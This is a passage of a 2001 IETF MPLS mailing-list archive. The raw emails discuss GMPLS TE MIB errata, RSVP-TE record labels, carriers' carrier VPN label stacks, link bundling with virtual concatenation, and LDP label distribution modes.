value { gmplsTunnelEntry 6 }. I think this has to be changed i.e.
shifted down.

In the present TE mib ( te-mib-06), the MplsTunnelHopEntry does not have
the support of signaling Unnumbered Links in EROs. It is also not
mentioned in the
GmplsTunnelHopEntry. Will it be mentioned in future, in any one of the
mibs or is it left to the implementation.

Thanks and regards
Arumugam R

--------------C6C130CAE17A60E5012529A8
Content-Type: text/x-vcard; charset=us-ascii;
 name="arumugamr.vcf"
Content-Description: Card for Arumugam R
Content-Disposition: attachment;
 filename="arumugamr.vcf"
Content-Transfer-Encoding: 7bit

begin:vcard 
n:Ramasamy;Arumugam
tel;home:6223683
tel;work:4330550 Extn- 363
x-mozilla-html:FALSE
url:www.futsoft.com
org:Future Software;Products
version:2.1
email;internet:arumugamr@future.futsoft.com
title:Senior Software Engineer
adr;quoted-printable:;;480 Mount Road,=0D=0ANandanam,=0D=0A;Chennai;Tamil Nadu;600 035;India
fn:Aru
end:vcard

--------------C6C130CAE17A60E5012529A8--



From owner-mpls@UU.NET  Thu May 10 03:27:51 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA20565
	for <mpls-archive@lists.ietf.org>; Thu, 10 May 2001 03:27:51 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkojl12983;
	Thu, 10 May 2001 07:27:36 GMT
Received: by mail-control.mail.uu.net 
	id QQkojl13098
	for mpls-outgoing; Thu, 10 May 2001 07:27:03 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkojl13085
	for <mpls@mail-control.mail.uu.net>; Thu, 10 May 2001 07:26:58 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkojl22311
	for <mpls@uu.net>; Thu, 10 May 2001 07:26:40 GMT
Received: from fsnt.future.futsoft.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [203.197.140.35])
	id QQkojl09908
	for <mpls@uu.net>; Thu, 10 May 2001 07:26:39 GMT
Received: from kailash.future.futsoft.com (unverified) by fsnt.future.futsoft.com
 (Content Technologies SMTPRS 2.0.15) with ESMTP id <B0000085864@fsnt.future.futsoft.com>;
 Thu, 10 May 2001 13:02:06 +0530
Received: from future.futsoft.com (arumugamr.future.futsoft.com [10.20.6.33])
	by kailash.future.futsoft.com (8.11.0/8.11.0) with ESMTP id f4A7QRs20875;
	Thu, 10 May 2001 12:56:27 +0530
Message-Id: <3AFA4477.B759640E@future.futsoft.com>
Date: Thu, 10 May 2001 13:04:15 +0530
From: Arumugam R <arumugamr@future.futsoft.com>
Organization: FSL
X-Mailer: Mozilla 4.7 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Yuan Gu <Yuan.Gu@usa.alcatel.com>
Cc: mpls <mpls@UU.NET>
Subject: Re: record label in RRO
References: <3AF9C4A5.820B56FE@usa.alcatel.com>
Content-Type: multipart/mixed;
 boundary="------------82B84D4D1FBE2A553EADB096"
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.
--------------82B84D4D1FBE2A553EADB096
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi Yuan.
The comments are inlined.

Yuan Gu wrote:

> Hello:
>
> I have some questions about Record Label subobject of Record Route
> Object in rsvp-lsp-tunnel-08.txt(section 4.4) :
>
> 1. What's the purpose of record label?

The purpose of record label is for fast rerouting using bypass tunnels. (
refer swallow-rsvp-bypass-label draft).

>
> 2. Should it be implemented one way (only along Path direction) or both
> way (Path and Resv)?

As mentioned in the draft it can be impemented in only one direction i.e in
Resv direction..

>
> 3. Which label should be put in the RRO, in_label or out_label?

The label being put is the incoming label because this is the label being
allocated by the particular node. The outgoing label might have been pushed
by the upstream node.

>
> 4. In case of both way, which label should be put in the RRO of RESV
> msg, in_label or out_label?
>

I think it is clear, it is not both way. only in Resv path and that too
incoming label only..

>
> Regards!
> Yuan Gu

Regards
Arumugam R

--------------82B84D4D1FBE2A553EADB096
Content-Type: text/x-vcard; charset=us-ascii;
 name="arumugamr.vcf"
Content-Description: Card for Arumugam R
Content-Disposition: attachment;
 filename="arumugamr.vcf"
Content-Transfer-Encoding: 7bit

begin:vcard 
n:Ramasamy;Arumugam
tel;home:6223683
tel;work:4330550 Extn- 363
x-mozilla-html:FALSE
url:www.futsoft.com
org:Future Software;Products
version:2.1
email;internet:arumugamr@future.futsoft.com
title:Senior Software Engineer
adr;quoted-printable:;;480 Mount Road,=0D=0ANandanam,=0D=0A;Chennai;Tamil Nadu;600 035;India
fn:Aru
end:vcard

--------------82B84D4D1FBE2A553EADB096--



From owner-mpls@UU.NET  Thu May 10 05:22:15 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA21390
	for <mpls-archive@lists.ietf.org>; Thu, 10 May 2001 05:22:15 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkojt29440;
	Thu, 10 May 2001 09:17:43 GMT
Received: by mail-control.mail.uu.net 
	id QQkojt29804
	for mpls-outgoing; Thu, 10 May 2001 09:17:11 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkojt29799
	for <mpls@mail-control.mail.uu.net>; Thu, 10 May 2001 09:17:02 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkojt16174
	for <mpls@uu.net>; Thu, 10 May 2001 09:16:41 GMT
Received: from ntexgswp02.DMZ by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: smtp.kpnqwest.com [193.242.92.8])
	id QQkojt29067
	for <mpls@uu.net>; Thu, 10 May 2001 09:16:40 GMT
Received: from ntexghub01.kpnqwest.com (unverified) by ntexgswp02.DMZ
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tc0a86413a7536eb73742@ntexgswp02.DMZ>;
 Thu, 10 May 2001 10:49:46 +0200
Received: by ntexghub01 with Internet Mail Service (5.5.2653.19)
	id <KB70B1VQ>; Thu, 10 May 2001 10:41:16 +0200
Message-ID: <AD78BC6ECAA1D31197A800508B5C644F0469203C@NTEXGHFD01>
From: "Metz, Eduard" <Eduard.Metz@KPNQwest.com>
To: "'Shahram Davari'" <Shahram_Davari@pmc-sierra.com>
Cc: "'mpls@uu.net'" <mpls@UU.NET>
Subject: RE: BGP/MPLS VPN PE LSR
Date: Thu, 10 May 2001 10:43:20 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk


I assume you are referring to the 'carriers-carrier' model. This section in
the draft is pretty vague. However, are you sure 2 labels will be added?
Could the PE not also use the customer label as the inner label (and thus
swap it)?


> -----Original Message-----
> From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com]
> Sent: 09 May 2001 21:16
> To: 'mpls@uu.net'
> Subject: BGP/MPLS VPN PE LSR
> 
> 
> Hi,
> 
> In an BGP/MPLS VPN scenario if a CE router sends an MPLS 
> packet rather than an IP packet to a PE router, the PE router 
> should still push 2 labels. My question is, should the PE 
> router swap the customer's label too or leave it unchanged?
> 
> Yours,
> -Shahram
> 
> 


From owner-mpls@UU.NET  Thu May 10 05:45:07 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA21740
	for <mpls-archive@lists.ietf.org>; Thu, 10 May 2001 05:45:07 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoju07834;
	Thu, 10 May 2001 09:44:18 GMT
Received: by mail-control.mail.uu.net 
	id QQkoju01522
	for mpls-outgoing; Thu, 10 May 2001 09:43:44 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkoju01512
	for <mpls@mail-control.mail.uu.net>; Thu, 10 May 2001 09:43:39 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkoju06894
	for <mpls@uu.net>; Thu, 10 May 2001 09:43:08 GMT
Received: from mill.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkoju24467
	for <mpls@uu.net>; Thu, 10 May 2001 09:43:08 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id FAA16367 for mpls@uu.net; Thu, 10 May 2001 05:43:08 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkoju01457
	for <mpls@mail-control.mail.uu.net>; Thu, 10 May 2001 09:42:38 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkoju27408
	for <mpls@UU.NET>; Thu, 10 May 2001 09:42:34 GMT
Received: from cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: london2.cisco.com [144.254.32.10])
	id QQkoju23955
	for <mpls@UU.NET>; Thu, 10 May 2001 09:42:34 GMT
Received: from JGUICHAR-W2K.cisco.com (jguichar-isdn-home.cisco.com [10.49.131.222])
	by cisco.com (8.8.8+Sun/8.8.8) with ESMTP id LAA06851;
	Thu, 10 May 2001 11:42:03 +0200 (MET DST)
Message-Id: <4.3.2.7.2.20010510103601.01b0eb48@london2.cisco.com>
X-Sender: jguichar@london2.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Thu, 10 May 2001 10:41:06 +0100
To: "Metz, Eduard" <Eduard.Metz@KPNQwest.com>
From: jim guichard <jguichar@cisco.com>
Subject: RE: BGP/MPLS VPN PE LSR
Cc: "'Shahram Davari'" <Shahram_Davari@pmc-sierra.com>,
        "'mpls@uu.net'" <mpls@UU.NET>
In-Reply-To: <AD78BC6ECAA1D31197A800508B5C644F0469203C@NTEXGHFD01>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-mpls@UU.NET
Precedence: bulk

The case where a PE will receive a labelled packet is referred to as the 
Carriers Carrier architecture and it has several flavours. In the case 
where the VPN site is running MPLS, then you will see a two level label 
stack across the carrier backbone. A three level label stack will be seen 
when the VPN site is running MPLS VPN and this is referred to as a 
hierarchical VPN. Jim

At 10:43 10/05/2001 +0200, Metz, Eduard wrote:

>I assume you are referring to the 'carriers-carrier' model. This section in
>the draft is pretty vague. However, are you sure 2 labels will be added?
>Could the PE not also use the customer label as the inner label (and thus
>swap it)?
>
>
> > -----Original Message-----
> > From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com]
> > Sent: 09 May 2001 21:16
> > To: 'mpls@uu.net'
> > Subject: BGP/MPLS VPN PE LSR
> >
> >
> > Hi,
> >
> > In an BGP/MPLS VPN scenario if a CE router sends an MPLS
> > packet rather than an IP packet to a PE router, the PE router
> > should still push 2 labels. My question is, should the PE
> > router swap the customer's label too or leave it unchanged?
> >
> > Yours,
> > -Shahram
> >
> >



Jim Guichard CCIE #2069
Technical Leader EMEA

+44 208 756 8806
Mobile: +44 7802 809763



From owner-mpls@UU.NET  Thu May 10 07:46:35 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA23241
	for <mpls-archive@lists.ietf.org>; Thu, 10 May 2001 07:46:33 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkokd03204;
	Thu, 10 May 2001 11:46:09 GMT
Received: by mail-control.mail.uu.net 
	id QQkokd19229
	for mpls-outgoing; Thu, 10 May 2001 11:45:20 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkokd19224
	for <mpls@mail-control.mail.uu.net>; Thu, 10 May 2001 11:45:15 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkokc16325
	for <mpls@uu.net>; Thu, 10 May 2001 11:44:33 GMT
Received: from mill.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkokc01476
	for <mpls@uu.net>; Thu, 10 May 2001 11:44:23 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id HAA21101 for mpls@uu.net; Thu, 10 May 2001 07:44:23 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkokc18787
	for <mpls@mail-control.mail.uu.net>; Thu, 10 May 2001 11:43:55 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkokc27643
	for <mpls@UU.NET>; Thu, 10 May 2001 11:43:00 GMT
Received: from ihemail2.firewall.lucent.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: ihemail2.lucent.com [192.11.222.163])
	id QQkokc24951
	for <mpls@UU.NET>; Thu, 10 May 2001 11:43:00 GMT
Received: from ihemail2.firewall.lucent.com (localhost [127.0.0.1])
	by ihemail2.firewall.lucent.com (Switch-2.1.1/Switch-2.1.0) with ESMTP id f4ABh0L07926
	for <mpls@UU.NET>; Thu, 10 May 2001 07:43:00 -0400 (EDT)
Received: from hzsms01.nl.lucent.com (h135-85-32-31.lucent.com [135.85.32.31])
	by ihemail2.firewall.lucent.com (Switch-2.1.1/Switch-2.1.0) with ESMTP id f4ABgxM07893
	for <mpls@UU.NET>; Thu, 10 May 2001 07:42:59 -0400 (EDT)
Received: by hzsms01.nl.lucent.com (8.8.8+Sun/EMS-1.5 sol2)
	id NAA02004; Thu, 10 May 2001 13:42:58 +0200 (MET DST)
Cc: Debanjan Saha <DSaha@tellium.com>, Bala Rajagopalan <BRaja@tellium.com>,
        mpls@UU.NET, "'Kireeti Kompella'" <kireeti@juniper.net>,
        ccamp@ops.ietf.org
Received: from lucent.com by hzsms01.nl.lucent.com (8.8.8+Sun/EMS-1.5 sol2)
	id NAA01913; Thu, 10 May 2001 13:42:55 +0200 (MET DST)
Message-ID: <3AFA7EBE.6570755E@lucent.com>
Date: Thu, 10 May 2001 13:42:54 +0200
From: Maarten Vissers <mvissers@lucent.com>
Organization: Lucent Technologies
X-Mailer: Mozilla 4.6 [en]C-CCK-MCD EMS-1.4  (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: "Fong, Man Wing" <MFong@whiterocknetworks.com>
Original-CC: Debanjan Saha <DSaha@tellium.com>, Bala Rajagopalan <BRaja@tellium.com>,
        mpls@UU.NET, "'Kireeti Kompella'" <kireeti@juniper.net>,
        ccamp@ops.ietf.org
Subject: Re: Question about logical link in Link bundling
References: <66E0B27B8A29D511B19600D0B744446527AE51@192-168-1-220.customer.algx.net>
Content-Type: multipart/mixed;
 boundary="------------FC9EDFA8EF9D477928E13512"
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.
--------------FC9EDFA8EF9D477928E13512
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Man Wing,

The virtual concatenation capability included in the transport NEs is
targeted to support pay-as-you-grow ethernet connections through the
transport network, which ingress/egress the transport network via
physical ethernet interfaces (10M, 100M, 1G, 10G). This capability is
not intended (at least not in today's view) to support an OC12c (STM-4
with VC-4-4c) as ingress/egress physical interface to the transport
network.

The fact that the transport NEs are extended with this virtual
concatenation capability is an intermediate step (early availibility) in
the pay-as-you-grow ethernet connections offer. The final step should
bring the virtual concatenation endpoints to the routers again, such
that in the emerging automatic switched transport network, routers can
dial up additional (or release superfluous) bandwidth, in a hitless
manner (using LCAS from the endpoints).

This will keep the OC12 (in general OC-N) interfaces on the routers
(using VSR optics similar to those used in ehternet today), and removes
the need to perform an additional conversion in the ingress/egress ports
of the transport network (saving costs also here). In addition, the
routers are now again free in selecting the protocol between them
(IP/ethernet, IP/PPP/HDLC, IP/PPP/GFP, MPLS/GFP, IP/ATM, ...) while the
transport network will transparently pass through the virtual
concatenated signal including(its payload with the particular protocol).

Regards,

Maarten

"Fong, Man Wing" wrote:
> 
> Maarten,
> 
> Very good point and description. The last case that you describe using VC
> would be a good alternative to support the bandwidth on demand. Now that the
> inverse muxing capability is being transferred from the router to the
> transport NEs. In this case, (Debanjan, you're right), the user would use an
> OC-12c interface on a router instead of the channelized OC-12 interface to
> save cost for this application (BOD).
> 
> Thanks,
> Man Wing
> 
>  -----Original Message-----
> From:   Maarten Vissers [mailto:mvissers@lucent.com]
> Sent:   Wednesday, May 09, 2001 5:06 AM
> To:     Debanjan Saha
> Cc:     'Fong, Man Wing'; Bala Rajagopalan; mpls@UU.NET; 'Kireeti Kompella';
> ccamp@ops.ietf.org
> Subject:        Re: Question about logical link in Link bundling
> 
>  << File: Card for Maarten Vissers >> Debanjan,
> 
> Just a thought... those 12 DS3s terminating on the same router (and
> providing access to 12 MPLS links) may terminate at the other ends on 12
> different routers. With one physical (OC12) interface you have now made
> (with the help of the transport network) connections with 12 other
> routers. Very cost effective...
> 
> Ofcourse you don't need a DS3 to be present in the STS1 is the router at
> the other end of the transport network has a EC1 of (channelised) OC-N
> interface. In this case you may deploy direct mapping of MPLS into STS1
> payload (via PPP/HDLC or the new GFP encapsulation).
> 
> One further cost reduction step (for the case there are e.g. only 5
> other routers connected) is to use STS1 virtual concatenation with GFP
> encapsulation of MPLS. You can now size each of the 5 STS pipes between
> 1 and a Xi STS1s (STS-1-Xv) as long as the sum of X1+X2+X3+X4+X5 <= 12.
> 
> Regards,
> 
> Maarten
> 
> Debanjan Saha wrote:
> >
> > Fong,
> > You're right. A channelize OC-12 can have 12 DS-3s (STS-1)within it.
> > However, if all of them are terminating on
> > the same LSR, I'm not sure why you'll use a channelized
> > OC-12 and not an OC-12c.
> >
> > Debanjan
--------------FC9EDFA8EF9D477928E13512
Content-Type: text/x-vcard; charset=us-ascii;
 name="mvissers.vcf"
Content-Description: Card for Maarten Vissers
Content-Disposition: attachment;
 filename="mvissers.vcf"
Content-Transfer-Encoding: 7bit

begin:vcard 
n:Vissers;Maarten
tel;cell:+31 62 061 3945
tel;fax:+31 35 687 5976
tel;home:+31 35 526 5463
tel;work:+31 35 687 4270
x-mozilla-html:FALSE
org:Lucent Technologies Nederland;NA&CPSE
version:2.1
email;internet:mvissers@lucent.com
adr;quoted-printable:;;Botterstraat 45=0D=0A=0D=0A;1271 XL Huizen;;;The Netherlands
fn:Maarten Vissers
end:vcard

--------------FC9EDFA8EF9D477928E13512--



From owner-mpls@UU.NET  Thu May 10 09:25:40 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA25804
	for <mpls-archive@lists.ietf.org>; Thu, 10 May 2001 09:25:32 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkokj14371;
	Thu, 10 May 2001 13:25:09 GMT
Received: by mail-control.mail.uu.net 
	id QQkokj08508
	for mpls-outgoing; Thu, 10 May 2001 13:24:36 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkokj08499
	for <mpls@mail-control.mail.uu.net>; Thu, 10 May 2001 13:24:31 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkokj17660
	for <mpls@uu.net>; Thu, 10 May 2001 13:24:15 GMT
Received: from sj-msg-core-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11])
	id QQkokj13345
	for <mpls@uu.net>; Thu, 10 May 2001 13:24:13 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f4ADOG915611
	for <mpls@uu.net>; Thu, 10 May 2001 06:24:16 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id JAA25836 for mpls@uu.net; Thu, 10 May 2001 09:24:11 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkoha11103
	for <mpls@mail-control.mail.uu.net>; Wed, 9 May 2001 15:40:06 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkoha01909
	for <mpls@UU.NET>; Wed, 9 May 2001 15:38:34 GMT
Received: from mailgw.local.ipunplugged.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [213.88.134.217])
	id QQkoha09515
	for <mpls@UU.NET>; Wed, 9 May 2001 15:38:33 GMT
Received: from HANSPC (a27.local.ipunplugged.com [192.168.4.197])
	by mailgw.local.ipunplugged.com (8.9.3/8.9.3) with SMTP id RAA21012;
	Wed, 9 May 2001 17:39:18 +0200
From: =?Windows-1252?Q?Hans_Sj=F6strand?= <hans@ipunplugged.com>
To: "Felix Chang" <mplszhz@263.net>, "mpls_maillist" <mpls@UU.NET>
Subject: RE: RE: Parameters in LDP entity table
Date: Wed, 9 May 2001 17:37:03 +0200
Message-ID: <LOEHIHPCEGEDPKHAHPMMIEBDCEAA.hans@ipunplugged.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <200105091346.f49Djtv01114@noya.bupt.edu.cn>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

No, 

from section 3036 2.6
   However, for any given LDP session, each
   LSR must be aware of the label distribution method used by its peer
   in order to avoid situations where one peer using Downstream
   Unsolicited label distribution assumes its peer is also.  

section 3.5.7.1.3 elaborates in detail why. 

The negotiation is valid for both directions, there
is no reason why to have different modes for different directions. 
If the two entities propose different modes, it's resolved as 
described in 3036. 

/// Hasse

> From Felix Chang wrote:
> 
> hi,Hasse
> 
> 	Thank you a lot! I have understood what you meant.
> 	And I have another question: Since LSP is unidirectional, 
> May we specify different distribution methods on the two directions
> of a LDP session?
> 
> Best regards!
> 				Felix Chang
> 					mplszhz@263.net
> 
> 



From owner-mpls@UU.NET  Thu May 10 09:32:17 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA26081
	for <mpls-archive@lists.ietf.org>; Thu, 10 May 2001 09:32:11 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkokk11654;
	Thu, 10 May 2001 13:30:58 GMT
Received: by mail-control.mail.uu.net 
	id QQkokk09248
	for mpls-outgoing; Thu, 10 May 2001 13:30:22 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkokk09203
	for <mpls@mail-control.mail.uu.net>; Thu, 10 May 2001 13:30:01 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkokj25576
	for <mpls@uu.net>; Thu, 10 May 2001 13:28:39 GMT
Received: from exchange01.movaz.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [64.47.82.134])
	id QQkokj18381
	for <mpls@uu.net>; Thu, 10 May 2001 13:28:39 GMT
Received: from BLIULAPTOP ([64.47.72.35]) by exchange01.movaz.com with Microsoft SMTPSVC(5.0.2195.1600);
	 Thu, 10 May 2001 09:25:41 -0400
Message-ID: <019b01c0d954$b567c190$23482f40@movaz.com>
From: "Adrian Farrel" <afarrel@movaz.com>
To: "Arumugam R" <arumugamr@future.futsoft.com>
Cc: <mpls@UU.NET>
References: <3AFA3F9C.E3043735@future.futsoft.com>
Subject: Re: Doubts in gmpls-te-mib
Date: Thu, 10 May 2001 09:25:40 -0400
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.3018.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300
X-OriginalArrivalTime: 10 May 2001 13:25:41.0249 (UTC) FILETIME=[B588B710:01C0D954]
Sender: owner-mpls@UU.NET
Precedence: bulk

Arumugam

Hi and thanks.
> 1. A new textual convention has been defined as
> MplsGeneralizedLabelTypes, but when it is referred down the line, it is
> referred as MplsGeneralizedLabelType only (in
> gmplsTunnelHopExplicitLabelType and
> gmplsTunnelHopReversePathExplicitLabelType ).
> Which one to keep (Types or Type). I think it is a typo error.
Got it.
Keep Types.

> 2. In GmplsTunnelEntry the first object is gmplsTunnelAdminStatus. While
> describing the object it is stated as mplsTunnelAdminStatus and it
> refers to
> mplsTunnelEntry. If the above entry is to be modified pointing to
> gmplsTunnelEntry then I think all other objects have to be shifted one
> step down since
> gmplsTunnelOperStatus has a value { gmplsTunnelEntry 1 }. Will it be
> modified or the AdminStatus will be removed from the TunnelEntry.
My view is that gmplsAdminStatus is not required and should be removed.

> 3. Also gmplsTunnelGPID and gmplsTunnelRNC are pointing to the same
> value { gmplsTunnelEntry 6 }. I think this has to be changed i.e.
> shifted down.
Thanks

> In the present TE mib ( te-mib-06), the MplsTunnelHopEntry does not have
> the support of signaling Unnumbered Links in EROs. It is also not
> mentioned in the
> GmplsTunnelHopEntry. Will it be mentioned in future, in any one of the
> mibs or is it left to the implementation.
We are debating whether this should go in here.  It is simple to add.
The issue is that it is not strictly a GMPLS feature.

Regards,
Adrian




From owner-mpls@UU.NET  Thu May 10 10:53:08 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA29402
	for <mpls-archive@lists.ietf.org>; Thu, 10 May 2001 10:52:54 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkokn11727;
	Thu, 10 May 2001 14:18:07 GMT
Received: by mail-control.mail.uu.net 
	id QQkokn02490
	for mpls-outgoing; Thu, 10 May 2001 14:17:33 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkokn01873
	for <mpls@mail-control.mail.uu.net>; Thu, 10 May 2001 14:17:13 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkokn11899
	for <mpls@UU.NET>; Thu, 10 May 2001 14:15:19 GMT
Received: from dnsmx1pya.telcordia.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: dnsmx1pya.telcordia.com [128.96.20.31])
	id QQkokn09599
	for <mpls@UU.NET>; Thu, 10 May 2001 14:15:18 GMT
Received: from notes640.cc.telcordia.com (notes640.cc.telcordia.com [128.96.22.6])
	by dnsmx1pya.telcordia.com (8.9.3/8.9.3) with ESMTP id KAA07757
	for <mpls@UU.NET>; Thu, 10 May 2001 10:12:47 -0400 (EDT)
Subject: RSVP-TE-- ResvErr message
To: mpls@UU.NET
From: "Hong Liao" <hliao@telcordia.com>
Date: Thu, 10 May 2001 10:13:10 -0400
Message-ID: <OFF61D93AB.7F8B0CD0-ON85256A48.004D2631@cc.telcordia.com>
X-MIMETrack: Serialize by Router on notes640/Telcordia(Release 5.0.6a |January 17, 2001) at
 05/10/2001 10:13:11 AM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,

